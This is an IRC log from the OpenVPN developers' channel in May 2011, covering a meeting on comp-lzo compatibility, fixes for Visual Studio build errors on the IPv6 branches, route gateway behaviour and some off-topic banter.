biased ;-) 12:58 <+krzie> of course not! 12:58 <+krzie> (but he did made points that sure sounded valid) 13:00 <@dazo> indeed! And when we "re-classified" James' SVN branch as a contributor branch and let git be the main repository, the maintenance of the openvpn repo has become very easy 13:00 <@dazo> (except of those merge conflicts due to James' being still on a 2.1.3 base) 13:01 <+krzie> linus kinda talked about that too, albeit in reverse 13:01 <@dazo> yeah 13:03 <@dazo> mattock: jamesyonan: meeting time? 13:03 <+ecrist> Thu May 19 18:03:17 UTC 2011 13:03 <@cron2> meeting time! 13:03 <@cron2> building a 2.2+ipv6 windows build right now... 13:04 <@mattock> hi 13:04 <@dazo> \o/ 13:05 <@mattock> topic list: https://community.openvpn.net/openvpn/wiki/Topics-2011-05-19 13:05 <@vpnHelper> Title: Topics-2011-05-19 – OpenVPN Community (at community.openvpn.net) 13:05 <@cron2> ACK on the first patch (const / plugin-v3). If it compiles both on Linux and Windows, make it so :-) 13:05 <@mattock> maybe start from the top? 13:05 <@mattock> oh, too fast 13:06 <@mattock> what about --comp-lzo, then? 13:06 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4650 13:06 <@dazo> that one is more tricky 13:06 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:06 <@mattock> dazo: I assume you're thinking about Alon's more generic approach to the problem 13:07 <@dazo> I tried it ... and --comp-lzo off and not defining --comp-lzo actually changes the protocol slightly 13:07 <@dazo> so when adding my patch, the server needs to do --comp-lzo disabled .... or unpatched clients need to do --comp-lzo 13:07 <@cron2> I haven't looked at the traces and what exactly the patch does 13:08 <@dazo> so I'm sceptical to applying my own patch ;-) 13:08 <@dazo> Alon's approach makes a lot of sense too ... but it attacks the issue from a different angle 13:08 <@cron2> and has a far bigger impact on the code 13:08 <@dazo> and with my patch ... when using --comp-lzo disabled ... it would get enabled again on the second connection attempt 13:09 <@cron2> now that sounds broken 13:09 <@dazo> yeah 13:09 <@mattock> jamesyonan: have you taken a look at that thread? 13:10 <@dazo> so I've been looking at the code, to figure out where and when this push is applied ... and in that place, check what the state of --comp-lzo is, to consider if it should be honoured or not 13:10 <@dazo> if --comp-lzo is disabled (not defined in the current released versions), it should just ignore any pushed --comp-lzo statements from the server ... or disconnect with an error if incompatible 13:11 <@cron2> ack 13:11 <@dazo> I've not had time to complete a patch for this ... but it's on my todo list 13:12 <@dazo> so, bottom line is ... I like Alon's way of thinking here ... but I don't think it's really enough, in the perspective of user friendliness when comp-lzo options differ and are incompatible 13:14 <@mattock> what do you mean by user friendliness? 13:15 <@cron2> it should be clear what happens if something is configured on the client end - "just try twice and it will be different" is "weird" 13:15 <@dazo> that openvpn should handle incompatibility between server and client settings of comp-lzo better ... now it just keeps retrying forever, claiming LZO header field is too short 13:16 <@jamesyonan> is this just a matter of replacing "lzo no" with "lzo disabled"? 13:16 <@dazo> jamesyonan: no, it also changes the default behaviour from "not defined comp-lzo" to "comp-lzo no" as default 13:16 <@mattock> cron2: true, that should never happen 13:16 <@dazo> and my testing showed that that was not clever 13:17 <@jamesyonan> yeah, but that could have protocol-breaking effects 13:17 <@dazo> yeah, I noticed that ... I'm considering to withdraw that patch due to that 13:17 <@jamesyonan> because if one side of the connection had this patch, and the other didn't, the protocol could break 13:18 <@dazo> yeah, you then need either --comp-lzo no (for unpatched) or --comp-lzo disabled (for patched) to stay compatible 13:19 <@dazo> the enhancement of not needing to set --comp-lzo in client configs might not be bad, to be able to push --comp-lzo easier ... however, it then needs to be really clear in release notes ... and it will cause increased support needs ... so not sure if its worth it 13:20 <@dazo> it sounds for me though that this is something we rather should consider for OpenVPN 3. 13:22 <@mattock> perhaps this stuff should be written to the Roadmap? or maybe a Trac ticket with milestone 3.0 13:22 <@mattock> lest we forget 13:22 <@dazo> yeah, agreed 13:23 <@mattock> dazo: can you write this down? my knowledge of this pushing stuff is fairly limited 13:23 <@dazo> Sure can do 13:23 <@dazo> it's actually not directly related to pushing ... it's default protocol features 13:24 <@mattock> ok, excellent! 13:24 <@mattock> next topic? 13:24 <@mattock> visual studio build errors: https://community.openvpn.net/openvpn/ticket/137 13:24 <@vpnHelper> Title: #137 (Visual Studio 2008 builds fail on "master" branch) – OpenVPN Community (at community.openvpn.net) 13:24 <@mattock> everybody's favorite C compiler and toolchain :D 13:25 <@mattock> cron2: you said fixing those errors would be painful? 13:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 13:27 <@mattock> jamesyonan: did you take a look at the VS build errors already? 13:27 <@mattock> I assume you've gathered a fair amount of knowledge about Visual Studio 13:28 <@cron2> mattock: well, let me phrase it differently: fixing these errors and then cherry-picking those bits that are "ipv6_payload" back to the 2.2-based patch, this will be lots of git work 13:29 <@mattock> ok, that makes sense 13:29 <@cron2> it seems that half of the errors is due to inet_pton and inet_ntop being predefined in visual studio (but not in msys/mingw), and the declarations do not match 13:29 <@mattock> so fixing the errors itself is relatively easy 13:30 <@vpnHelper> RSS Update - testtrac: Fix const declarations in plug-in v3 structs <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=555fc5e34a9b1aca4bfa435023fe1aa336557ec7> 13:30 <@cron2> I'd assume that it's fairly trivial as soon as you know which are the bits that upset the compiler 13:30 <@dazo> cron2: wouldn't those things just be #ifndef _MSC_VER ? 13:30 <@cron2> all this "int followed by int" looks like a typdef gone wrong 13:30 <@cron2> dazo: yes. 13:31 <@cron2> dazo: unless it requires changing of function prototypes or such that affect both branches 13:31 <@jamesyonan> the 2.1.3 branch is known to compile with visual studio 13:31 <@cron2> jamesyonan: 2.2.0 does as well, it's one of the ipv6 branches that breaks this 13:31 <@dazo> jamesyonan: this is related to some of the IPv6 support patches weære pulling in 13:31 <@cron2> mmmh 13:32 <@cron2> mattock: what's in "ws2tcpip.h" line 502? 13:32 <@mattock> cron2: lemme try to find it... 13:32 <@dazo> mattock bisected it to this commit as the offending one: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=commitdiff;h=49a945eafea2c64dbaa5cb2ecdfd4ca9a82aa26e 13:32 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/commitdiff (at openvpn.git.sourceforge.net) 13:33 <@cron2> yeah, that's jjo-contributed windows build fixes to ipv6_payload 13:33 <@dazo> yupp 13:34 <@cron2> mattock: if you just *remove* the "#include <ws2tcpip.h>" from sysdeps.h, what will happen? 13:34 <@cron2> (or put #ifndef _MSC_VER around it) 13:34 <@mattock> cron2: we can try 13:34 <@cron2> and put #ifndef _MSC_VER around the inet_ntop and inet_pton stuff in win32.h and socket.c 13:35 <@dazo> but doesn't it look like that Visual Studio now supports inet_ntop/inet_pton? 13:35 <@dazo> or is it that MinGW is not having this support at all? 13:35 <@cron2> dazo: that's why - the win32.h and socket.c changes are "add an implementation for MinGW" (which is needed, as far as I understand jjo - but at least it doesn't do harm there) 13:35 <@cron2> well 13:35 <@cron2> lemme test 13:36 <@dazo> if the latter ... then it sounds like we should #ifdef out all the inet_* stuff when compiling in VS 13:36 <@cron2> indeed 13:37 <@cron2> if #ifdef 0'ing that stuff, linking breaks in msys/mingw with undefined references to inet_ntop/inet_pton 13:37 <@cron2> dazo: ack 13:37 <@mattock> checking ws2tcpip.h... 13:37 <@cron2> the error message very much looks like "it's there" 13:37 <@mattock> oh, wrong one 13:38 <@dazo> then we just need to verify that VS' variant (if it is there) is compatible with the POSIX one (which has been implemented extra for MinGW) 13:38 <@cron2> dazo: who can do that? 13:39 <@dazo> somebody with all compilers available? and compare results from a test program? 13:40 <@cron2> I was thinking of "someone who has access to visual studio and can check docs" :) 13:40 <@dazo> write a little test program, compile it in all compilers and compare result ... should be tested on Linux/*BSD, MingGW and VS 13:40 <@cron2> too much work 13:40 <@dazo> :) 13:41 <@cron2> seriously: if the docs and the calling convention sounds like "it will do the same thing in VS as on Linux" that's good enough for me - and then we can see whether it breaks by actually using OpenVPN on Windows :-) 13:42 <@cron2> a number of folks have expressed interest in windows binaries with IPv6, so if we can do test builds of "master" there will be testers 13:44 <@mattock> commenting out ws2tcpip.h in syshead.h seemed to improve things 13:45 <@mattock> I'll hack win32.h and socket.c 13:49 <@mattock> I'll generate a new buildlog and pastebin it 13:53 <@mattock> http://pastebin.com/8G9KK670 13:53 <@dazo> I'll write a little test program too, which we can test ... I can test on Linux and do a mingw cross build which we can run on a windows box 13:53 <@cron2> ah, damn 13:53 <@cron2> so we need ms2tcpip.h, but it seems we need different prerequisites 13:53 <@dazo> mattock: please fetch and rebase the master branch, then openvpn-plugin stuff should be gone 13:53 <@mattock> ok 13:55 <@cron2> huh 13:55 <@cron2> this is weird 13:56 <@cron2> my win32.h does not have "addr6" in there 13:56 <@mattock> ok, so line 502 in ws2tcpip.h says this: 13:57 <@mattock> typedef int socklen_t; 13:57 <@cron2> mmmh 13:58 <@cron2> if that bombs, it means that someone else did "typedef int socklen_t" before that 13:58 <@cron2> or worse 13:58 <@cron2> #define socklen_t int 14:00 <@mattock> win/config.h.in? 14:00 <@mattock> #define socklen_t unsigned int 14:02 <@cron2> fighting git 14:04 <@cron2> yeah, that could explain it 14:04 <@cron2> could you put ws2tcpip.h back in, and remove that define from win/config.hin? 14:05 <@dazo> mattock: there's a neat test program for inet_pton/inet_ntop here: http://www.qnx.com/developers/docs/6.5.0/index.jsp?topic=/com.qnx.doc.neutrino_lib_ref/i/inet_ntop.html 14:05 <@vpnHelper> Title: Help - Eclipse SDK (at www.qnx.com) 14:05 <@cron2> #ifdef _MSC_VER 14:05 <@dazo> not sure how easy it works in VS 14:08 <@mattock> dazo: I'll check it out 14:09 <@dazo> I'm trying to make a mingw32 build now 14:10 <@cron2> the "helper.c" compilation error is easy - I messed that up by adding code above the "const int dev = ..." declaration 14:15 <@cron2> dazo: don't distract mattock :-) - I think we're fairly close to getting these errors down to just three different types 14:15 <@dazo> nice! 14:15 <@mattock> I'm already distracted :P 14:16 <@cron2> mattock: so what's the result of "compile with ms2tcpip.h enabled, but without #define socklen_t"? 14:18 <@mattock> cron2: just a sec 14:20 <@mattock> building.. 14:22 <@mattock> http://pastebin.com/NiezRX3K 14:23 <@mattock> seems to have fixed the line 502 issue 14:23 <@cron2> yeah 14:23 <@mattock> one down, ntop to go 14:23 <@cron2> next: please #ifdef _MSC_VER the inet_ntop/inet_pton declarations in win32.h, and the code in socket.c (and leave the other changes as-is) 14:24 <@cron2> that should fix the win32.h errors 14:24 <@mattock> mkay, let's try it 14:28 <@mattock> ok, I think most errors were fixed 14:28 <@cron2> great :) 14:28 <@mattock> for some reason openvpn-plugin.h stuff is still there, but that's git problem 14:28 <@mattock> I'll copy and paste 14:28 <@cron2> ok, next... 14:29 <@cron2> helper.c 14:29 <@dazo> mattock: did you fetch and git rebase origin/master? 14:29 <@mattock> dazo: I did the "standard" git pull --rebase origin stuff 14:29 <@dazo> it might not have done the rebase if you had local (uncommitted) changes to your tree 14:30 <@cron2> mattock: can you please move helper.c lines 223...227 up, to directly after #if P2MP_SERVER? 14:30 <@cron2> the affected lines are: 14:30 <@cron2> /* 14:30 <@cron2> * Get tun/tap/null device type 14:30 <@cron2> */ 14:30 <@cron2> const int dev = dev_type_enum (o->dev, o->dev_type); 14:30 <@cron2> const int topology = o->topology; 14:30 <@mattock> cron2: will do 14:30 <@cron2> they need to go up to line 145 14:30 <@cron2> that should fix the errors in helper.c for good, and then I'd like to see a new build log :) 14:31 <@dazo> $ wine ./inet_test.exe 14:31 <@dazo> fixme:win:RegisterDeviceNotificationW (hwnd=0x128168, filter=0x76e9f4,flags=0x00000001) returns a fake device notification handle! 14:31 <@dazo> inet addr: 10.1.0.29 14:31 <@dazo> inet6 addr: dead:beef:7654:3210:fedc:3210:7654:ba98 14:31 <@dazo> $ ./inet_test 14:31 <@dazo> inet addr: 10.1.0.29 14:31 <@dazo> inet6 addr: dead:beef:7654:3210:fedc:3210:7654:ba98 14:32 <@cron2> looks dead :) 14:32 <@dazo> heh :) 14:33 <@dazo> the mingw32 binary is here: http://web.sommerseths.net/OpenVPN/inet_test.exe 14:33 <@dazo> and is based on the test program pasted earlier, with JJO''s implementation 14:33 <@dazo> of inet_ntop/ptop 14:33 <@cron2> jjo's implementation works :) otherwise my windows binaries wouldn't work, and I just verified that they do 14:34 <@cron2> (just done a test build of 2.2.0 with the ipv6 fix from databeestje 14:34 <@dazo> yeah ... but if we now get a VS compile to work with inet_pton/ntop ... with the same result ... we should be able to assume that it behaves similar 14:35 <@mattock> building... 14:35 <@cron2> that's true, this is the missing test. but first, helper.c fixes :) 14:35 <@dazo> agreed :) 14:36 * dazo brb 14:36 <@mattock> helper.c errors fixed, pasting... 14:36 <@cron2> great! 14:37 <@cron2> the next HUGE batch of problems is that VS seems to break on multiline macros with #ifdef in between 14:37 <@cron2> msg( ... "some text" 14:37 <@cron2> #ifdef PF_INET6 14:37 <@cron2> "some more text" 14:37 <@cron2> #endif 14:37 <@cron2> ) 14:37 <@mattock> http://pastebin.com/KEYGqYAF 14:38 <@mattock> dazo: what's the commit id of the openvpn-plugin.h fix? 14:38 <@cron2> mtcp.c and options.c is all this sort of issue 14:38 <@mattock> or commit message 14:39 * cron2 defers plugin.c(302) and plugin.c(370) to dazo - seems VS doesn't want "named" structure initializations (how 1990's is that?) 14:40 <@cron2> socket.c - in6_addr 14:40 <@cron2> mattock: can you show me the in6addr.h file that windows uses? 14:41 <@mattock> yep, I'll find it 14:41 <@cron2> C:\Program Files\\Microsoft SDKs\Windows\v6.0A\include\in6addr.h 14:41 <@cron2> "that was easy" :) 14:44 <@mattock> http://pastebin.com/kJACmXNr 14:44 <@dazo> mattock: commit 555fc5e34a9b1aca4bfa435023fe1aa336557ec7 14:45 <@mattock> dazo: ok 14:45 <@cron2> ouch 14:45 <@dazo> ? 14:46 <@cron2> that one is a problem. my code uses a 32 bit accessor to the "in6_addr" union of 16 chars / 8 16bitwords / 4 32bitwords 14:46 <@cron2> and windows doesn't declare the 32 bit accessor in its union 14:46 <@dazo> ouch 14:47 <@cron2> (and other platforms don't have the 16 bit accessor, so I can't just change it to use 16 bits) 14:48 <@mattock> dazo: I'm using openvpn.git and the fix is only in openvpn-testing.git 14:48 <@cron2> it's not a major issue, but not easily fixed just now 14:48 <@dazo> mattock: ahh! sorry! I forgot to push it to stable 14:49 <@cron2> the other thing I'm not sure what to do about is the NDIS_IF_MAX_STRING_SIZE stuff - $someone defines IF_NAMESIZE to be NDIS_IF_MAX_STRING_SIZE, and *that* is not found 14:49 * dazo is way too nice ... he could have just pushed it in silence and responded "What!?!? No, it's not missing!" 14:49 <@dazo> :-P 14:49 <@mattock> I would have still had a screenshot with today's newspaper next to it :P 14:50 <@dazo> heh :-P 14:50 <@mattock> is there anything else we can do atm? 14:50 * cron2 has no idea where the IF_NAMESIZE changes came from "not mine" 14:51 <@dazo> cron2: commit 6dbf82a96253add5ed5f6c923080f4de4366c874 14:51 <@cron2> mattock: I don't think so. What we should do is send your patches to the list so far 14:51 <@cron2> dazo: huh? 14:52 <@dazo> IF_NAMESIZE was introduced in that commit 14:52 <@cron2> dazo: how do I ask git what exactly this commit changed? 14:52 <@mattock> cron2: I'll do that tomorrow 14:52 <@dazo> magic :) 14:52 <@cron2> ah, git show 14:52 <@mattock> or git diff 14:52 <@cron2> dazo: nah 14:53 <@dazo> cron2: git log -p ... and then I searched for IF_NAMESIZE ... even though, it's possible to use more fancy ways, with git grep, I believe 14:53 <@cron2> that commit just #define's it to "16" if it's not there 14:53 <@cron2> but the actual code that fails is 14:53 <@cron2> char ifname[IF_NAMESIZE] = "[undef]"; 14:53 <@mattock> I got to take the cat out, he's getting restless :) 14:53 <@dazo> that came in commit 5d6dbb03776de4d38f45e429ef674313a2bda8cc 14:54 <@cron2> mattock: it's a cat, not a dog :) 14:54 <@mattock> I assume nothing has happened on OpenVPN MI GUI vs. OpenVPN-GUI front 14:54 <@mattock> cron2: actually, he's a cat :) 14:54 <@cron2> mattock: I wasn't aware that there was a MI gui :-) - but I think we need d21fk to answer that 14:54 <@dazo> mattock: correct, MI GUI developer is reluctant to merge with GUI 14:55 <@mattock> dazo: that's how I understood it also 14:55 <@mattock> not sure why everyone wants to write their own GUI for openvpn 14:55 <@mattock> I guess it's too easy 14:55 <@dazo> Well, as long as d12fk is the successor of OpenVPN GUI 1.0.3 which we ship now ... I feel safer by going that path for 2.3 now 14:56 <@mattock> yep, I agree 14:56 <@dazo> I have a sense that he is on the right path, and he implements the management interface too, if I'm not totally wrong 14:56 <@mattock> he does 14:56 <@cron2> yep 14:56 <@mattock> and when this Windows build stuff is fixed, we can bundle the new gui with snapshot installers 14:56 <@dazo> then it's decided ... and d12fk can decide if he wants to pick things from MI GUI ... and then we'll leave it at this point 14:56 <@cron2> damn 14:56 <@mattock> if the target for it is 2.3 anyways 14:57 <@mattock> sounds good 14:57 <@cron2> someone posted a patch here, for getting windows compiles back to order 14:57 <@dazo> if the MI GUI developer wants to help d12fk, that's great .... but I won't push it any further 14:57 <@cron2> 1st of may 14:57 <@cron2> but I didn't save the actual patch, just grabbed at a few bits *I* need to cleanup 14:57 <@mattock> cron2: to openvpn-devel? 14:58 <@cron2> no, just here in the channel 14:58 <@mattock> hmm, I'll check my logs 14:58 <@mattock> ouch, missing 1st of May in my logs 14:58 <@cron2> I think it was a pastebin-type URL with a long patch that mostly cleanup all the msg() stuff, but also renamed inet_pton() to openvpn_inet_pton() and suck 14:59 <@mattock> that's one drive-by patch... 14:59 <@dazo> this one? http://codepad.org/tqq5hmHz 14:59 <@vpnHelper> Title: Plain Text code - 439 lines - codepad (at codepad.org) 14:59 <@mattock> ok, got to go now 14:59 <@cron2> dazo: yeah, this one 14:59 <@mattock> I'll write the summary tomorrow, feel free to continue :) 14:59 * cron2 needs to go to bed as well 15:00 * dazo need to go too ... need to catch some grocery shops on the way home 15:00 <@cron2> my cat fortunately can let herself out if needed 15:00 <@dazo> :) 15:00 <@dazo> thanks for a good and productive meeting! 15:00 <@mattock> cron2: ours is not used to going out by himself and we're close to the city centre 15:00 <@cron2> dazo: oh indeed, the plugin init stuff is in there as well, so we should study it :) 15:00 <@mattock> thanks guys, good meeting indeed! 15:00 <@dazo> mattock: send me the patches as soon as you have them all cleaned up ... and I'll apply them 15:01 <@dazo> ooohhh ... /me must look 15:01 <@cron2> yep, thanks, good meeting indeed! 15:01 <@dazo> nah, I don't like that approach ... I don't want plug-ins to easily be able to change things ... not without being aware of it 15:02 <@cron2> dazo: that's just a matter of structure initialization - "1990s-style" vs. ".element = foo" style 15:02 <@cron2> not the "const" stuff 15:02 <@cron2> struct openvpn_plugin_args_func_in args = { ... 15:02 <@cron2> these bits 15:03 <@dazo> oh man ... VS is really 1990 15:03 <@dazo> that's not intuitive at all ... well, if that's how it must be, then it must 15:04 * dazo need to go too now 15:04 <@dazo> lets catch up in a few days again 15:05 <@cron2> yeah 15:06 <@dazo> c'ya! 15:06 -!- dazo is now known as dazo_afk 15:20 <+krzie> are we in the meeting? 15:20 <+krzie> oh damn, its over isnt it 15:21 <+krzie> mattock, if you're still here, my contact who personally knows android devs (he worked @ google in the bay area) is still waiting on an email to forward 15:21 <+krzie> he cant just give us their emails, he has to forward it and if there is any interest we will get a response 15:31 -!- s7r [~Mirela@unaffiliated/s7r] has left #openvpn-devel [] 15:31 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:12 <+krzie> [14:12] <krzie> !pastebin 16:12 <+krzie> [14:12] <vpnHelper> Someone || end3r || OS X keychain patch 16:12 <+krzie> ecrist, ??? 16:13 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 16:13 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 16:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:24 <+ecrist> ? 16:25 <+ecrist> oh, krzee it's reading an RSS feed called pastebin 16:26 <+krzie> lol 17:13 -!- Netsplit *.net <-> *.split quits: @vpnHelper 17:18 -!- Netsplit over, joins: @vpnHelper 17:19 -!- Netsplit *.net <-> *.split quits: @vpnHelper 17:19 -!- Netsplit over, joins: @vpnHelper 22:32 <+krzee> omg jjk is a forum savage! he was just barely behind me like a week or 2 ago, now hes 100 more than me, lol --- Day changed Fri May 20 2011 00:51 -!- andj is now known as andj_afk 01:25 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:59 -!- s7r [~s7r@unaffiliated/s7r] has quit [Remote host closed the connection] 02:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:24 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 03:05 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 240 seconds] 03:18 -!- dazo_afk is now known as dazo 03:19 < s7r> dazo re man 03:19 < s7r> how are you 03:19 <@dazo> I'm good but busy :) 03:20 < s7r> ahh, this is life man what can you do 03:20 < s7r> need any help? 03:21 <@dazo> heh, well, I doubt I can involve you in my paid job work ;-) 03:21 <@dazo> unless you can fix me 48hours days ;-) 03:22 * dazo would like to work the same amount, sleep longer and have more spare time to do his fun projects :) 03:22 * s7r would like to get paid for sleeping ,eating and having fun 03:23 <@dazo> well, I actually get paid for having fun :) 03:23 * dazo loves his job 03:54 * cron2 too - IT stuff is fun *and* they actually pay me for it (half of that stuff I'd do for free because it's fun :) ) 03:55 <@dazo> :) 03:55 <@cron2> well... half of the fun stuff I actually *do* for free... like OpenVPN :-) 04:01 <@dazo> cron2: have you seen the mail from Xavier about the route syntax change on the ML? 04:01 <@dazo> it makes sense for me now 04:03 <@cron2> I'd argue his setup is broken 04:03 <@cron2> overlapping subnets always cause problems 04:03 <@dazo> well, but sometimes you are in a network environment with a /16 net ... and you connect to a remote site with overlapping networks, could be another partner/customer network 04:04 <@cron2> yes, the patch solves *his* specific problem case. I wonder whether someone else actually wants the existing capabilities of being able to insert a route that points somewhere else 04:05 <@cron2> you can do that today "send this client a specific pushed route that will send specific traffic *not* to the VPN but to his LAN gateway" - I'm not sure whether anyone uses this, whether it's a planned feature or a side-effect, but this patch would change this 04:05 <@dazo> I actually do hit this issue ... but that's when I'm connected to my work VPN and my home VPN ... as my home net overlaps an unused /24 net in a 10.0.0/8 scope 04:05 <@cron2> you should all use IPv6, no 10.x overlaps there 04:06 <@dazo> heh :) yeah, I'm practically moved over to IPv6, I'm just missing the networked printer which doesn't support IPv6 :-P 04:06 <@cron2> yeah, same here, print server is too old. I should get $daughter to break it and buy a new one :) 04:07 <@dazo> My workaround for my issue is to first connect home VPN, then work VPN 04:07 <@dazo> but that's a hacky solution ... because I didn't look into the real cause 04:07 * dazo could move the subnet too, but nah too lazy :) 04:07 <@cron2> I think the patch is technically fine, but we should make it clear that it's a behavioural change that people might not be aware - so I think this is "meeting topic" 04:08 <@cron2> I want some statement from James on whether the current behaviour is "intended" or "side effect" 04:09 <@dazo> fair enough! 04:11 * dazo is thinking about it more ... reading man page 04:11 <@dazo> there are three "reserved words" which can be used in the 'gateway' field of --route 04:11 <@dazo> vpn_gateway -- The remote VPN endpoint address (derived either 04:11 <@dazo> from --route-gateway or the second parameter to --ifconfig when 04:11 <@dazo> --dev tun is specified). 04:11 <@dazo> net_gateway -- The pre-existing IP default gateway, read from 04:11 <@dazo> the routing table (not supported on all OSes). 04:11 <@dazo> remote_host -- The --remote address if OpenVPN is being run in 04:11 -!- dazo was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://pastebin.com for posting logs or configs.] 04:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:12 * dazo curses vpnHelper! 04:12 <@cron2> hrhr 04:12 <@cron2> but indeed: the "net_gateway" and "remote_host" would no longer work then 04:12 <@dazo> exactly 04:13 <@dazo> and it sounds like he in his setup should just add 'vpn_gateway' in addition 04:13 <@cron2> but we could of course add "dev %s" only if no "special" route-gateway is set 04:13 <@cron2> nah, if you have overlapping subnets in that way, the vpn_gateway would still be resolved as "eth0" 04:14 <@dazo> vpn_gateway would be the remote VPN IP address ... how would that resolve to eth0 in route? ... sounds odd 04:17 <@cron2> look at his example: if you have 10.0.0.0/24 on eth0 and 10.0.0.0/16 on tap1, then "10.0.0.1" will go to eth0, even if it is the VPN-Gateway on tap1 04:17 <@cron2> you need to tell the kernel "dev tap1"!! this is where I want to go! 04:18 <@cron2> OTOH, we could do things like "point host route to tap1", which will ultimately win... 04:18 <@cron2> (10.0.0.1/32 -> dev tap1) 04:20 <@dazo> ahh, yeah, now I see it 04:23 <@dazo> but that could be solved by using --route-gateway, doesn't it? 04:23 <@dazo> in conjunction with --route with vpn_gateway 04:24 <@cron2> we could do "if route-gateway is vpn_gateway, then add 'dev tap1'". I think I like that one :-) 04:25 <@dazo> good point! 04:26 <@dazo> well, --route-gateway is a IP address .... and vpn_gateway is replaced (expanded to) the IP address resolved by --route-gateway 04:26 <@cron2> yep 04:26 <@dazo> but I like your way of thinking 04:26 <@dazo> I'll respond to Xavier now 04:28 <@cron2> ok, thanks (need to actually do some work now) 04:28 <@dazo> have fun :) 05:24 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 10:05 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 11:03 <@mattock> krzie: oh yes, the android issue... I'll write a mail which you can then forward to your friend, probably on Monday 11:04 <@mattock> now the patch and meeting summary 11:06 <@dazo> mattock: Compare you patch changes against this one: http://codepad.org/tqq5hmHz ... someone here posted this pastebin 11:06 <@vpnHelper> Title: Plain Text code - 439 lines - codepad (at codepad.org) 11:07 <@dazo> I'd skip most of the openvpn-plugin.h issues immediately ... I'll take a look at that if that's the last issues left after your clean-up 11:17 <@mattock> dazo: ok 11:18 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:19 <@mattock> dazo: still some build errors, but much fewer 11:19 <@dazo> mattock: can you pastebin the rest? 11:19 <@mattock> I'll update the Trac ticket with new log 11:19 <@dazo> cool! thx! 11:20 <@dazo> you can attach your commit patches there as well 11:20 <@mattock> yep 11:21 <@mattock> the codepad.org patch does not look at all similar to mine 11:22 <@dazo> yeah, I expected that ... we should look at the different approaches and see which makes better sense 11:22 <@dazo> there are some changes in the openvpn-plugin.h there which I don't like 11:27 -!- andj_afk is now known as andj 11:28 <@mattock> ok, ticket updated: https://community.openvpn.net/openvpn/ticket/137 11:28 <@vpnHelper> Title: #137 (Visual Studio 2008 builds fail on "master" branch) – OpenVPN Community (at community.openvpn.net) 11:33 <@dazo> mattock: I'll take care of those issues with plugin.c 11:35 <@dazo> the other ones are not clear to me 11:35 * dazo need to dive back to paid work now 11:42 <@cron2> mattock: I'll look at it later tonight and comment 11:53 <+ecrist> sup d00ds? 11:53 * ecrist really hates phpbb3 and has the power to change it, but has been too busy of late 11:53 <+ecrist> raar at things to do 11:53 <+ecrist> and the weather getting nice 11:54 * ecrist shakes his fist at mother nature 11:54 <@dazo> and it's even Friday! 11:54 <+ecrist> everyone ready for the rapture tonight? 11:54 <+ecrist> I bought popcorn 11:54 <@dazo> rapt-what!? 11:54 < Dark-Fx> Raptor 11:55 <+ecrist> you haven't heard? The rapture is TONIGHT. 'cascading brownout' is how a california pastor described it 11:55 <+ecrist> starting it UTC, 6pm, prgressing around the world 11:55 <+ecrist> where I am, I've got 6ish hours to watch the show 11:55 <+ecrist> http://www.theatlantic.com/politics/archive/2011/05/the-rapture-is-not-saturday-its-tonight/239177/ 11:56 <@vpnHelper> Title: The Rapture Is Not Saturday -- It's Tonight - Tina Dupuy - Politics - The Atlantic (at www.theatlantic.com) 11:57 <@dazo> oh dear 11:59 <@dazo> Why does people worry about the end of the world ... that will come when it comes, rather lets live the life, care for the people around you and enjoy that instead ... I mean, go BBQ instead! 12:00 < Dark-Fx> dazo: I'd like to be prepared for all of the free stuff 12:00 < Dark-Fx> when all the silly religious people disappear suddenly 12:00 <+ecrist> that's why I have guns 12:00 <@dazo> heh 12:00 <+ecrist> it ensures I get the 'free' stuff before someone else 12:00 <+ecrist> ;) 12:01 <+ecrist> http://secure-computing.net/files/guns 12:01 <@vpnHelper> Title: Index of /files/guns (at secure-computing.net) 12:01 <@dazo> until someone with a bigger gun show up ;-) 12:04 <+ecrist> with that .270 Rem 700, they need to get close enough. hehe 12:05 <+ecrist> I'm not driving nails, but i can hit 8.5" x 11" paper at 400 yds 12:06 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 12:06 <+ecrist> too OT I think for s7r? 12:06 <+ecrist> ah, he quit 12:10 <@mattock> ecrist: cool! an all-out armageddon 12:11 <+ecrist> mattock: right?! I'm excited. 12:11 <+ecrist> I already know I'm going to hell. may as well enjoy it! 12:12 <+ecrist> if I'm really worried, according to catholicism, I just have to say, "my bad, god!" and I'm in 12:12 <@dazo> ecrist: I think you actually have to mean it too, not just utter the words ;-) 12:12 <@mattock> don't you have to pay the church if you're a catholic? and if you're a lutheran, jesus will forgive you whatever you do? :D 12:13 <+ecrist> dazo: damn 12:13 <@dazo> heh :) 12:13 * dazo decides to grab a pizza and maybe go to Cinema ... may I won't come back from the Cinema .... even though, darn! what will happen with OpenVPN then .... :-P 12:13 <+ecrist> no, lutherans believe everyone goes to hell, unless you buy (monetary or faith) your way in 12:13 <+ecrist> catholics, everyone who believes and is sorry, gets to go. 12:14 <+ecrist> funny story 12:14 <@dazo> ecrist: you got it wrong, that's Catholics .... Lutherans changed the game and pissed of the Pope so he couldn't get all the money for his projects 12:14 <+ecrist> coming back from 